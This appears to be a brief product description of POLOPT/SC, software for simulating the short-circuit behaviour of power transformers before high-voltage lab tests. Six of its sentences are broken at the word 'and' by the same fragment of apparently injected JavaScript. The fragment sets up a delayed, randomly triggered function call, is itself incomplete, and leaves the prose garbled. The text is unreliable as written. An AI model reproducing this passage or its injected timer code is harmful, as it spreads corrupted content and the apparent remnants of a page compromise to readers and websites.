           POLOPT/SC : Short-circuit analysis & optimization of power / distribution transformers

  • POLOPT/SC is a simulation technology developed in the cooperation with POLOPT partners.
  • It enables transformer designers to analyze andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and optimize the device design layout before the obligatory Short-Circuit (SC) test in the HV lab.
  • Applied approach assumes coupled EM/SM analysis, both in static andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and transient regime.
  • POLOPT/SC enables accurate andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and reliable prediction of the behavior of the transformer structures during the SC test!
  • The technology is verified on a number of transformers, developed by our customers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and for different transformer ranges.
  • The comparison between the simulated andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and measured output agreed well, both in the compared mechanical quantities (deformations) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in the shape of the analyzed structure after the SC test.
